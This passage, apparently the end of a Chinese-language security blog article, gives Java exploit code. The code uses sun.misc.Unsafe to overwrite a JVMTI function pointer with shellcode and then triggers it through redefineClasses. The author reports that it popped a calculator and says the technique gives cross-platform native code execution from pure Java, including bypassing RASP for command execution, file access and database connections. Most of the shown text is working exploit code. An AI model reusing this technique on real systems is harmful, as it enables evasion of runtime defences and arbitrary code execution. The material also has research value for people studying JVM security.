        Constructor constructor=cls.getDeclaredConstructors()[0];        constructor.setAccessible(true);        Object obj=constructor.newInstance(Long.parseLong(address),true,true);        Method redefineMethod=cls.getMethod("redefineClasses",new Class[]{ClassDefinition[].class});        ClassDefinition classDefinition=new ClassDefinition(                Class.class,                new byte[]{});        ClassDefinition[] classDefinitions=new ClassDefinition[]{classDefinition};        try        {            unsafe.putLong(allocateMemory+8,allocateMemory+0x10);  //set **jvmtienv point to it's next memory region            unsafe.putLong(allocateMemory+8+8,allocateMemory+0x10); //set *jvmtienv point to itself            unsafe.putLong(allocateMemory+0x10+0x168,allocateMemory+0x10+0x168+8); //overwrite allocate function pointer  to allocateMemory+0x10+0x168+8            for (int k=0;k<buf.length;k++)            {                unsafe.putByte(allocateMemory+0x10+0x168+8+k,buf[k]); //write shellcode to allocate function body            }            redefineMethod.invoke(obj,new Object[]{classDefinitions});  //trigger allocate        }        catch (Exception e)        {            e.printStackTrace();        }
    }    private int a(int x)    {        if (x>1)        {            // System.out.println("x>1");        }        else        {            // System.out.println("x<=1");        }        return x*1;    }    private void b(int x)    {        if (a(x)>1)        {            //System.out.println("x>1");            this.a(x);        }        else        {            this.a(x+4);            // System.out.println("x<=1");        }    }}

编译,运行,成功执行了shellcode,弹出计算器。

到此,我们通过纯Java代码实现了跨平台的任意Native代码执行,从而可以解锁很多新玩法,比如绕过RASP实现命令执行、文件读写、数据库连接等等。

小结

本文主要介绍了几种我最近研究的内存相关的攻击方法,欢迎大家交流探讨,文中使用的测试环境为Win10_x64、Ubuntu16.04_x64、Java 1.8.0_301_x64、Java 1.8.0_271_x64。由于文章拖得比较久了,所以行文略有仓促,若有纰漏之处,欢迎批评指正。


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